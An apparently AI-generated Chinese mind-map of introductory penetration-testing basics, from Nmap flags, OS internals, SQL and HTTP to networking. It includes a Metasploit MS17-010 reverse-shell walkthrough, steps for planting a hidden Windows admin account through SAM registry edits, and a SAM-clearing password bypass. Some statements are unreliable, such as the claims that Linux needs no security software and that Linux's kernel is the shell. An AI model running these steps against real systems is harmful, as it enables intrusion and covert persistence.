渗透基础
2023-12-29 15:48:16 1 举报
AI智能生成
渗透基础
作者其他创作
大纲/内容
定义:通过各种⼿段对⽬标进⾏⼀次渗透(攻击),通过渗透来测试⽬标的安全防护能⼒和安全防护意识。
黑盒(完全未知)
白盒(完全已知)
灰盒(综合黑盒与白盒)
渗透测试分类
Windows
Linux
。。。
主机操作系统
MySQL
MS-SQL
数据库系统
应用系统
防火墙
入侵检测设备
网络设备
渗透目标分类
1. 前期交互阶段
2. 情报搜集阶段
3. 威胁建模阶段
4. 漏洞分析阶段
5. 渗透攻击阶段
6. 后渗透攻击阶段(清除痕迹)
7. 报告阶段
渗透攻击环节
口令破解
web应用程序攻击
钓鱼
网络监听
溢出类攻击
病毒类攻击
APT攻击
渗透攻击方式
Exploit(渗透攻击)
Payload(攻击载荷)
ShellCode
Module(模块)
Listener(监听器)
专用术语
1. 情报搜集(内建扫描探测与查点辅助模块;插件机制集成调用Nmap、Nessus、OpenVAS等开源扫描工具)
2. 威胁建模(信息汇总至数据库,提供易用的数据库查询命令,帮助对情报进行威胁建模)
3. 漏洞分析(提供大量的协议Fuzz测试器与Web应用漏洞探测模块)
4. 渗透攻击(利用漏洞成功渗透到目标系统或网络)
5. 后渗透攻击(成功渗透攻击并获取目标远程控制程序后,Meterpreter可提供驻内存免杀能力高级后门工具,特权提升、跳板攻击与内网拓展等)
6. 报告生成(渗透结果存入内置数据库,可数据库查询并辅助渗透测试报告的写作)
全渗透过程支持
Metasploit(专业级漏洞攻击工具框架)
主机发现
端口扫描
版本侦测
操作系统侦测
主要功能
-A 用于使用进攻性(Aggressive)方式扫描
-T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,速度越快,但也容易被防火墙发现
-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节从而让用户了解当前的扫描状态。
namp –T4 –A –v ip(完整的全面扫描)
namp ***.***.***.1 ***.***.***.2 ***.***.***.3(扫描多台主机)
nmap 192.168.199.*(扫描整个子网)
-sT:TCP connect扫描
-sS:TCP SYN扫描
-sF/-sX/-sN:通过发送一些特殊的标志位以避开设备或软件的检测
-sP:通过发送ICMP echo请求探测主机是否存活,原理同Ping
-sU:探测目标主机开放了哪些UDP端口
-sA:TCP ACK扫描,对防火墙上未屏蔽的端口进行探测
-sV:获取对应端口上更为详细的服务版本信息
-Pn:在扫描之前,不发送ICMP echo请求测试目标是否存活
-O:启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
-F:快速扫描模式,只扫描在nmap-services中列出的端口
常用功能
Nmap(网络扫描工具)
渗透工具
run 开始攻击
show options 查看设置
set lhost 设置攻击者ip(kali)
set rhost 设置受害者ip(win7)
set payload windows/64/meterpreter/reverse_tcp 设置攻击负载
use 1 使用序号为1的攻击模块use auxiliary/scanner/smb/smb_ms17_010
search ms17-010,搜索漏洞
msfconsole,打开msf
nmap扫描目标IP
MS17-010漏洞攻击
渗透测试基础
管理计算机硬件与软件资源的计算机程序,同时也是计算机系统的内核与基石
需要处理如管理与配置内存、决定系统资源供需的优先次序、控制输入与输出装置、操作网络与管理文件系统等基本事务
提供一个让使用者与系统互动的操作界面
操作系统定义
操作系统提供给程序设计人员的一种服务。程序设计人员在编写程序时,可以利用系统调用来请求操作系统的服务。
系统调用
是操作系统的核心。是基于硬件的第一层软件扩充,提供操作系统的最基本的功能,是操作系统工作的基础,它负责管理系统的进程、内存、内核体系结构、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。内核决定一个程序在什么时候对某部分硬件操作多长时间。
内核
操作系统组成部分
处理器管理:是要合理地安排时间,以保证多个作业能顺利完成并且尽量提高CPU的效率,使用户等待的时间最少
设备管理:当用户程序要使用外部设备时,设备管理控制(或调用)驱动程序使外部设备工作,并随时对该设备进行监控,处理外部设备的中断请求等。
文件管理:文件系统管理则是对软件资源的管理。为了管理庞大的系统软件资源及用户提供的程序和数据,操作系统将它们组织成文件的形式,操作系统对软件的管理实际上是对文件系统的管理。
存储管理:存储管理的主要工作是对内存储器进行合理分配、有效保护和扩充。
作业管理:作业是用户在一次计算过程中,或者一次事务处理过程中,要求计算机系统所做工作的总称。作业管理与调度的主要功能是审查系统能否满足用户作业的资源要求
操作系统的基本功能
并发:同一时间间隔内执行和调度多个程序的能力
共享:操作系统与多个用户的程序共同使用计算机系统中的资源。同时访问、互斥共享
虚拟:一个物理实体(如cpu )映射为若干个对应的逻辑实体:分时或分空间
异步:即不确定性。同一程序和数据的多次运行可能得到不同的结果;程序的运行时间、运行顺序也具有不确定性
操作系统的主要特征
不同的用户身份拥有不同的权限
每个用户包含一个名称和一个密码
用户账户拥有唯一的安全标识符:标识符是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID(whoami /user)
用户权限分配,secpol.msc,打开本地安全策略,进行策略配置。
SYSTEM:本地机器上拥有最高权限的用户。(为系统核心组件访问文件资源提供权限)
Administrator:默认系统管理员用户。
Guest:只拥有相对较少的权限,默认被禁用。
常用用户
用户账号
组是一些用户的集合
组内的用户自动具备为组所设置的权限
需要人为添加成员的内置组:Administrator,Guests,Power Users,User
动态包含成员的内置组:其成员由Windows程序自动添加。Windows会根据用户的状态来决定用户所属的组。组内成员也随之动态变化,无法修改。
动态包含成员的内置组:Interactive:动态包含在本地登录的账户。Authenticated Users:动态包含了通过验证的用户,不包含来宾用户。Everyone:包含任何用户,设置开放的权限时经常使用。
默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制
Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务
Power Users,高级用户组
这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序
Users:普通用户组
按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
Guests:来宾组
所有的用户,这个计算机上的所有用户都属于这个组
Everyone:
常见用户组
用户组
此子目录下是电脑的所有用户及这些用户个人设定的开始菜单及桌面等信息
All Users目录
Command目录
它是用来存放Windows中的硬件配置文件
Config目录
系统图标以及由应用程序和文档建立的桌面快捷方式都存放在这里,这里的图标文件与桌面上的图标动态关联着
Desktop目录
此目录为你下载软件的默认目录
Downloaded目录
使用PE(windows预装环境)进入拷贝SAM文件,清除,再进系统就不需要密码了,开始渗透;最后再替换出来。
windows\\System32\\config\\SAM #存放windows账号密码的文件
windows\\System32\\drivers\\etc\\hosts #文件,解析域名的
与sytem32目录都是系统文件夹,存放着Windows的系统文件和硬件驱动程序等重要信息
System目录
存放一些与web相关的图片文件等
Web目录
日志文件 计算机管理->事件查看器->windows日志 也可使用分析日志的程序
perlog目录
这个里面存放着一些软件的配置信息。比如数据库连接的信息,下载的软件的信息。
Program Files目录
Windows 系统目录
完全控制
修改
读取和运行
列出文件夹目录
读取
写入
Windows 文件夹权限
定义了计算机的一些功能
Win+R打开运行,输入services.msc回车打开
服务决定了计算机一些功能是否被启用
不同的服务对应的功能不同
通过计算机提供的服务可以有效实现资源共享
作用
web服务
dns服务(提供域名解析)
dhcp服务(给客户机发送一个可用的IP)
邮件服务
telnet服务
ssh服务(一个命令行,一般用于linux的命令控制,远程终端)
ftp服务
smb服务(文件共享服务)
常见服务
Windows 服务
定义:是设备与外界通讯交流的出口
IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。需要注意的是,端口并不是一一对应的。
知名端口,0到1023,这些端口号一般固定分配给一些服务
动态端口,1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。动态端口也常常被病毒木马程序所利用。
按端口号分布划分
即传输控制协议端口,需要在客户端和服务器之间建立连接,这样可以提供可靠的数据传输。如Telnet服务的23端口,SMTP服务的25端口,HTTP服务的80端口等
TCP端口
即用户数据包协议端口,无需在客户端和服务器之间建立连接,安全性得不到保障。如DNS服务的53端口,SNMP(简单网络管理协议)服务的161端口,QQ使用的8000和4000端口等等
UDP端口
按协议类型划分
分类
常见端口
Windows 端口
conime.exe:与输入法编辑器有关的系统进程,能够确保正常调整和编辑系统中的输入法
csrss.exe:该进程是微软客户端/服务端运行时子系统,该进行管理windows图形相关任务
ctfmon.exe:该进程与输入法有关,该进程的正常运行能够确保语言栏能正常显示在任务栏中
explorer.exe:该进程是windows资源管理器,可以说是windows图形界面外壳程序,该进程的正常运行能够确保在桌面上显示桌面图标和任务栏
lsass.exe:该进行用于windows操作系统的安全机制、本地安全和登录策略
services.exe:该进程用于启动和停止系统中的服务,如果用户手动终止该进程,系统也会重新启动该进程
smss.exe:该进程用于调用对话管理子系统,负责用户与操作系统的对话
svchost.exe:该进程是从动态链接库(DLL)中运行的服务的通用主机进程名称,如果用户手动终止该进程,系统也会重新启动该进程
system:该进程是windows页面内存管理进程,它能够确保系统的正常启动
system idle process:该进行的功能是在CPU空闲时发出一个命令,使CPU挂起,从而有效降低CPU内核的温度
winlogon.exe:该进程是Windows NT用户登录程序,主要用于管理用户登录和退出。
常见进程
windows进程
打开方式:win+r:-->regedit
HKEY_CLASSES_ROOT:管理文件系统
HKEY_CURRENT_USER:管理系统当前用户信息
HKEY_LOCAL_MACHINE:常用。管理当前系统硬件配置。
HKEY_USERS:管理系统的用户信息。
HKEY_CURRENT_CONFIG:管理当前用户的系统配置。
注册表结构
Windows注册表
常用DOS命令
windows操作系统快捷键
查看得到刚刚删除的test$用户又显示出来了。重新刷新查看计算机管理中的用户和命令行下的net users命令,没有显示该用户:接着注销当前账户后就可以使用test$用户登录了。
然后双击刚刚修改过的3f0文件,提示是否将内容添加进注册表选择Yes,接着对刚刚导出的test$.reg文件进行同样的操作,然后进入注册表中查看:
但是上述的方法在注册表中仍然可以查看到(容易被杀毒软件查杀,且注册表可见用户名称及对应的盐值),这时可以通过rootkit工具实现超级隐藏
接着在命令行删除test$用户:
接着,用1f4文件中F的键值替换3f0中F的键值:
导出0x1F4目录。接着打开0x3F0目录导出的文件,可以看到F表示用户信息,V表示权限信息:
对test$和0x3F0目录右键导出(若想给test$用户赋权,则可以将该用户的键值(例子中为0x3f0)改为Administrator的所对应的键值即可。)
打开可以看到SAM目录签有+号可以打开
命令行下不可见
Windows 隐藏账号
Windows 安全基础
多用户,多任务:Linux支持多用户,各个用户对于自己的文件设备有自己特殊的权利,保证了各用户之间互不影响。多任务则是现在电脑最主要的一个特点,Linux可以使多个程序同时并独立地运行
主流:目前的Linux操作系统主要应用于生产环境,主流企业级Linux系统仍旧是RedHat或者CentOS
免费:Linux是一款免费的操作系统,用户可以通过网络或其他途径免费获得,并可以任意修改其源代码。这是其他的操作系统所做不到的。正是由于这一点,来自全世界的无数程序员参与了Linux的修改、编写工作,程序员可以根据自己的兴趣和灵感对其进行改变。这让Linux吸收了无数程序员的精华,不断壮大。
更新方便:CentOS独有的yum命令支持在线升级,可以即时更新系统,不像RedHat 那样需要花钱购买支持服务!
开源
特点
操作系统的核心,具有很多最基本功能,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性
是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行,是一个命令解释器。另外,shell编程语言具有普通编程语言的很多特点,用这种编程语言编写的shell程序与其他应用程序具有同样的效果。
shell
文件存放在磁盘等存储设备上的组织方法。Linux系统能支持多种目前流行的文件系统,如EXT2、 EXT3、 FAT、 FAT32、VFAT和ISO9660
文件系统
包括文本编辑器、编程语言、XWindow、办公套件、Internet工具和数据库等
应用程序
架构
Linux启动过程
账号名称:账号密码:账号UID:账号GID:用户说明:shell解释器
格式
etc/passwd 保存用户信息
用户名:密码(加密):最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:账号闲置时间:失效时间:标志
etc/shadow 保存密码
etc/group 保存用户组
组名:加密密码:组管理员:组附加用户列表
etc/gshadow 保存用户组密码
etc/default/useradd用户配置文件
etc目录
var目录
Linux文件系统
打通关hacknet与bandit。自然就有初步了解了
Linux常用命令vim
0:系统停机状态,系统默认运行级别不能为0,否则不能正常启动
1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
2:多用户状态(没有NFS)
3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
4:系统未使用,保留
5:X11控制台,登陆后进入图形GUI模式
6:系统正常关闭并重启,默认运行级别不能为6,否则不能正常启动
运行级别
系统所有进程的起点
linux init进程
常用的操作系统
Linux是一项开源的项目,所以它免费提供给编程爱好者使用,而Windows则是需要购买的一款系统,目前最新的正版Windows系统售价888元。
使用的费用不同
Linux适合企业公司服务器系统架构,而Windows适合大众使用。
适合使用对象不同
Windows是面向大众化的,所以操作上比较符合普通人的操作习惯,大多都是通过界面化的操作。而Linux在很多情况下需要通过命令行来进行操作
操作风格不同
Windows由于使用人数较多,所以支持Windows的软件在数量和质量上都比Linux有优势。Linux平台只有开发者维护,缺少资金的大量支持,所以软件方面的数量和质量比较缺乏
支持的软件不同
Windows 操作系统内核是NT,而Linux 是shell
文件格式不同
Windows系统常常成为黑客和病毒的攻击目标,所以需要安装一些安全防护软件来保护计算机的安全。而Linux相比较Windows来说则安全很多,使用Linux是完全不需要安装额外的安全软件。
安全性不同
Windows的操作范围大多已经受到微软的限制,所以基本上是系统怎样设置,用户就只能规矩操作。而Linux提供了更高的定制性,它支持开发者通过编码来定义适合自己的操作系统。
可定制性不同
Windows的程序可移植性差,程序基本不兼容Linux. 而Linux程序的可移植性好,不仅可以在不同的Linux之间移植,还可以移植到Windows上面来
程序可移植性不同
Linux与Windows的区别
操作系统基础
数据库访问方式
定义:专门储存数据和管理数据的一种仓库
MySQL、Oracle、Microsoft SQL Server、Access及PostgreSQL
安全系数高,容易理解,比较浪费磁盘空间。
关系数据库
BigTable(Google)、Cassandra、MongoDB、CouchDB;redis还包括键值数据库:Apache Cassandra(Facebook)、LevelDB(Google)
安全系数低,效率高
非关系型数据库
表:在数据库中看起来像个简单的电子表格。名字是唯一的
列:表中的一个字段。所有表都是由一个或多个列组成的
行:表中的一个记录
值:行的具体信息,每个值必须与该列的数据类型相同
主键:是一个用于唯一标识数据库表中每一行数据的字段或字段集合。主键的值必须是唯一的,而且不能包含NULL值。每个表只能有一个主键,它用来确保每一行都能被唯一地识别和访问。主键能唯一的标识表中的一条记录,可以结合外键来定义不同数据表之间的关系,加快数据库的查询速度一般分为单字段主键和多字段联合主键
数据库构成
information_schema
mysql
performance_schema
sys
初始安装系统数据库
mysql -h(主机地址) -u root(用户名) -p(指定密码)
数据库连接
创建(create database database_name;)
删除(drop database database_name;)
列出数据库(show databases;)
使用数据库(use 数据库名)
数据库操作
整数
浮点
日期与时间
字符串
数据库数据类型
约束条件
创建:CREATE TABLE table_name (属性名 数据类型 完整性约束条件,属性名 数据类型 完整性约束条件,属性名 数据类型 )
删除:DROP TABLE table_name
查看:select * from 表名;
显示数据库所有表:show tables;
查看备注信息:show full columns from table_name;
显示索引表的详细索引信息
修改表名:Alter table 旧表名 rename 新表名;
修改字段的数据类型:Alter table 表名 modify 属性名 数据类型;
修改字段名:Alter table 表名 change 旧属性名 新属性名 新数据类型;
增加字段:Alter table 表名 add 属性名 数据类型 [完整性约束条件];alter table 表名 add foreign key (user_id) references 主表表名(字段名)
删除字段:Alter table 表名 drop 属性名;
数据库表操作
Select 属性列表from 表名[where 条件表达式1][group by 字段名1][order by 属性名2 [asc | desc]]
使用“*”查询所有字段
查看数据库中的表结构desc 表名;或者describe 表名;
查询指定字段select 字段名1,字段名2 from 表名;
去除重复数值select distinct 字段名 from 表名;#字段名(要去除重复数值的列)
=等于
<小于
>大于
<=小于等于
>=大于等于
“!=”/“<>”不等于
比较符
[NOT] BETWEEN m(m>=) AND n(n<=)
指定范围
指定集合
like“字符串”=“=”
like\"字符串\"中有“%”like!=\"=\"
\"_\"匹配一个字符
匹配字符
条件表达式1 AND 条件表达式2(全满足条件显示)
AND=&&
条件表达式1 OR 条件表达式2(只满足一个条件显示)
OR=||
多个查询条件
当AND与OR一起使用时,AND要比OR先运算
where语句
限制查询结果
LIMIT子句
ASC:升序(默认升序)DESC:降序可以给多个列排序,只需要指定列名,列名之间用逗号分开即可
ORDER BY 属性名[ASC | DESC]
排序
COUNT()用来统计记录的条数;
SUM()用来计算字段的值的总和;
AVG()用来计算字段的值的平均值;
MAX() 用来查询字段的最大值;
MIN()用来查询字段的最小值;
集合函数
GROUP BY 属性名 [having 条件
分组查询
属性名 REGEXP '匹配方式’
“^”查询以特定字符或者字符串开头的记录
“^”
“$”查询以特定字符或者字符串结尾的记录
“$”
“.”匹配字符串中的任意一个字符
“.”
[..]字符集合。匹配所包含的任意一个字符
‘[]’
匹配指定字符以外的字符
“[^字符集合]”
指定多个字符串时,需要用符号“|”隔开
匹配多个指定字符串
“|”
“*”:可以表示0个字符
“*”
“+”:至少表示一个字符
“+”
指定字符串连续出现的次数
模式
正则表达式
+
-
*
/
DIV(取结果的整数)
%(取余数)
算术运算符
比较运算符
与、或、非、异或等,结果只返回真值(1或者true)和假值(0或false)
逻辑运算符
运算符优先级
运算符
#...(表示单行注释,语法“#注释内容”)
\"-- \"(表示单行注释,语法“-- 注释)
/*...*/(“/**/”,表示多行注释,语法“/*注释内容*/”)
注释符
union查询默认不返回重复记录union查询的表的字段必须一样union查询的数据类型必须能兼容
select * from venus1unionselect * from venus
联合查询 : UNION
1.子查询2.子查询可以继续嵌套3.子查询中不可以使用order by子句,只对最后结果排序4.子查询要用括号括起来
嵌套查询: [NOT]IN{[不]包含其中}、ANY、ALL、(任何一个//所有的)[NOT]EXISTS{[不]存在}
查询函数
数据库查询语句
数据库修改语句
delete from table_name [where] field1=new-value
数据库删除语句
MySQL(3306)
SQL Server(1433)
Oracle(1521)
常用数据库
数据库基础
互联网>因特网>万维网
定义:Web(World Wide Web)即全球广域网,也称为万维网,它是一种基于超文本和HTTP的、全球性的、动态交互的、跨平台的分布式图形信息系统。
网站生成固定内容
静态页面
桌面浏览器
简单&同步
个人网站,门户网络
SQL注入
文件包含
命令执行
上传漏洞
WebShell
攻击方式
攻击web服务器
web 1.0
用户自己生成内容
Mashup和Web服务
复杂的客户端软件
复杂&异步
微博,Blog等
钓鱼攻击
URL跳转
框架漏洞
逻辑漏洞
XSS
CSRF
攻击Web用户
web 2.0
发展
在静态html页面中,用户通过Web浏览器HTTP协议向web服务器发送一个响应请求,告诉web服务器要浏览这个网站的哪个页面,接着根据用户的响应请求返回一个html页面给用户,经过浏览器渲染解析呈现在用户眼前
静态web页面是没有数据库文件的,所以不能连接网络数据库;
静态web页面主是通过HTML代码开发设计的;
部分静态web页面为了页面的好看,使用了大量的JS代码,导致静态web页面打开速度慢。
在动态web页面中,依然要通过web服务器的http协议或https协议响应才能返回结果给用户,用户所有请求都必须要通过web服务器处理才能实现。
用户的响应请求是一个静态的html页面,只需要响应请求web服务器从系统中调出用户响应的内容,将内容返回给客户端浏览器进行处理,再返回给用户
如果用户响应请求的是动态页面资源,例如.jsp/.asp/.aspx、/.php等,响应步骤是先将用户请求发送给web服务器,web服务器再从数据库调出有户请求的数据,调出数据后将所需要展示给用户的内容发送给服务器,最后通过web服务器将需要展示给用户的内容返回给用户浏览器解析执行,展示给用户
动态页面
页面
protocol 协议,常用的协议是http、https、ftp等
hostname 主机地址,可以是域名,也可以是IP地址
port 端口 http协议默认端口是:80端口
path 路径 网络资源在服务器中的指定路径
parameter 参数 如果要向服务器传入参数,在这部分输入
query 查询字符串 如果需要从服务器那里查询内容,在这里编辑,可有多个参数,用“&”符号隔开,每个参数的名和值用“=”符号隔开
格式:protocol : // hostname [:port]/path/[parameters] [?query]
域名是可以通过我们的 dns(域名解析)成ip地址
URL(Uniform Resource Locator)统一资源定位符
指的是超文本标记语言: HyperText Markup Language
不是一种编程语言,而是一种标记语言标记语言是一套标记标签 (markup tag)
使用标记标签来描述网页
HTML 文档包含了HTML 标签及文本内容
HTML文档也叫做 web 页面
定义
是由尖括号包围的关键词
通常是成对出现的标签对中的第一个标签是开始标签,第二个标签是结束标签开始和结束标签也被称为开放标签和闭合标签(<标签>内容</标签>)
常用标签
标签
HTML 元素包含了开始标签与结束标签
元素
通过<h1> -<h6>标签来定义
标题
通过标签 <p>来定义的。
段落
通过标签 <a> 来定义的。标签的 href 属性用于指定超链接目标的 URL。
链接
HTML 图像是通过标签 <img> 来定义的. 本地and远程
图像
<hr> 标签在 HTML 页面中创建水平线。hr 元素可用于分隔内容。
水平线
子主题
可以将注释插入 HTML 代码中,这样可以提高其可读性,使代码更易被人理解。浏览器会忽略注释,也不会显示它们。<!-- 这是注释 -->
注释
<br>
换行
页面结构
HTML
定义:超文本传输协议(Hyper Text Transfer Protocol,HTTP)是一个简单的请求-响应协议,它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。
1、在浏览器地址栏输入URL访问
2、浏览器进行域名解析获得IP地址
3、解析出 IP 地址后,根据该 IP 地址和默认端口 80和服务器建立TCP连接
4、浏览器发出读取文件(URL 中域名后面部分对应的文件)的HTTP 请求,该请求报文作为 TCP 三次握手的第三个报文的数据发送给服务器;
5、服务器对浏览器请求作出响应,并把对应的 html 文本发送给浏览器
6、浏览器将该 html 文本进行解析并显示内容;
访问web步骤
客户端与服务器端建立连接
客户端向服务器端发送请求
服务器端向客户端回复响应
断开连接
内部操作过程
安全:该操作用于获取信息而非修改信息。它仅仅是获取资源信息,就像数据库查询一样,不会修改,增加数据,不会影响资源的状态。幂等:对同一URL的多个请求应该返回同样的结果
GET一般用于获取/查询资源信息
POST一般用于更新资源信息
GET和POST的区别
请求方法
1.支持客户/服务器模式:一个服务器可以为分布在世界各地 的许多客户服务
2.简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET和POST。由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快
3.灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记
主要特点
是保存在用户浏览器端的,并在发出http请求时会默认携带的一段文本片段。它可以用来做用户认证,服务器校验等通过文本数据可以处理的问题。
Cookie
与Cookie不同,其保存在服务器端
Session
session 在服务器端,cookie 在客户端(浏览器)
session 默认被存在在服务器的一个文件里(不是内存)。
单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie
一般情况,登录信息等重要信息存储在session中,其他信息存储在cookie中
Cookie/Session的区别
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理
Referer
常见头部
请求头部,紧接着请求行(即第一行)之后的部分,用来说明服务器要使用的附加信息
空行
请求数据也叫主体,可以添加任意的其他数据。
请求报文
状态行,由HTTP协议版本号, 状态码, 状态消息 三部分组成
消息报头,用来说明客户端要使用的一些附加信息
响应正文,服务器返回给客户端的文本信息
响应报文
报文格式
表示临时响应并需要请求者继续执行操作的状态代码
临时响应(1xx)
表示成功处理了请求的状态代码
成功(2xx)
表示要完成请求,需要进一步操作,通常用来重定向
重定向(3xx)
表示请求可能出错,妨碍了服务器的处理
请求错误(4xx)
表示服务器在尝试处理请求时发生内部错误
服务器错误(5xx)
状态信息
通信双方使用明文传输(不加密),内容可能会被窃听
不验证通信方的身份,因此可能遭遇伪装
无法证明报文的完整性,所以有可能已遭篡改
缺陷
HTTP(80)
定义:HTTPS是在HTTP上建立SSL加密层,并对传输数据进行加密,是HTTP协议的安全版
对数据进行加密,并建立一个信息安全通道,来保证传输过程中的数据安全
对网站服务器进行真实身份认证
主要作用
HTTPS(443)
BurpSuite
抓包
同协议
同端口
同域名
同源策略
Sandbox 即沙箱,对于浏览器来说,采用 Sandbox 技术,无疑可以让不受信任的网页代码运行在一个受限的环境中,从而保护本地文件的安全
浏览器的多进程架构,将浏览器的各个功能分开,当一个进程崩溃时,也不会影响到其他进程。
浏览器所加载的一些第三方插件却往往不受 Sandbox管辖
沙箱
A1:访问控制崩溃
A2:加密失败(敏感信息暴露)
A3:注入
A4:不安全的设计
A5:安全配置不当
A6:易受攻击和过时的组件
A7:识别和认证失败
A8:软件和数据完整性失败
A9:安全日志记录和监控失败
A10:服务器端请求伪造(SSRF)
OWASP TOP 10
web安全基础
定义:一些互相连接的、自治的计算机的结合
发送者
接收者
介质
数据
协议
网络通信要素
通信是双向的主机A发数据给B,B要回复
计算机网络
比特流传输
物理层
通过控制发送方的发送速率,以避免接收方无法处理过多的数据帧
流量控制
通过添加冗余信息来检测和纠正数据传输过程中的错误
差错控制
通过MAC地址来标识网络中的每个设备,以便数据链路层能够正确地将数据帧发送到目标设备
物理地址寻址
跳到跳
mac地址
以太帧格式
Ethernet_II 帧格式
帧
数据链路层
IP寻址和路由选择
端到端
IP报文头部
取值范围
子网掩码的作用是将IP地址分为网络地址和主机地址两部分,以便于判断该IP地址是在本地网络上还是在远程网络上
子网掩码
生存时间
IP地址
协议类型
包
网络层
可靠协议TCP
不可靠协议UDP
对字节流进行切分
流量控制(传输速度)
错误控制(数据接收完整性)
服务进程到服务进程
端口
端
建立、维护、管理端到端连接
TCP头部
span style=\"font-size: inherit;\
三次握手
四次挥手
地址解析协议 ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议
通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
基本功能
仅能在局域网进行
局限性
用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址-->MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。
每一个以太网都有自己单独的表。当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存表中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询。
ARP缓存表
查看缓存中的所有项目
arp -a
如果有多个网卡,那么使用arp -a加上接口的IP地址,就可以只显示与该接口相关的ARP缓存项目
arp -a ip
常用命令
通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网上上特定计算机或所有计算机无法正常连线。
攻击手法
最常用的方法就是做IP和MAC静态绑定,在内网把主机和网关都做IP和MAC绑定。
静态绑定:
欣向ARP工具,Antiarp等
使用ARP防护软件:
防御
ARP欺骗
ARP
TCP
一种面向无连接的传输层协议,传输可靠性没有保证
头部
使用UDP传输数据时,由应用程序根据需要提供报文到达确认、排序、流量控制等功能。
UDP不提供重传机制,占用资源小,处理效率高
一些时延敏感的流量,如语音、视频等,通常使用UDP作为传输层协议
传输过程
UDP
常见协议
传输层
建立、维护、管理会话连接
会话层
编码
解码
加密
压缩
表示层
为应用程序提供网络服务
应用层
OSI参考模型
应用数据报文
分层模型– TCP/IP协议集
必须是同一层次进行通信,比如,A 计算机的应用层和 B 计算机的传输层就不能通信,因为它们不在一个层次,数据的拆包会遇到问题。
每一层的功能都必须相同,也就是拥有完全相同的网络模型。如果网络模型都不同,那不就乱套了,谁都不认识谁
数据只能逐层传输,不能跃层
每一层可以使用下层提供的服务,并向上层提供服务
通信原则
数据封装与解封
数据流通过程
攻击者(黑客)冒充域名服务器进行欺骗的一种行为
DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。
原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址。这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。
DNS欺骗
分服务器可以为主服务器减轻压力安全性大幅增加效率变高
优点
成本太高
缺点
CDN(内容分发网络)
IPv4地址耗尽
16进制
地址简写
IPv6
网络基础
初级课程
0 条评论
回复 删除
下一页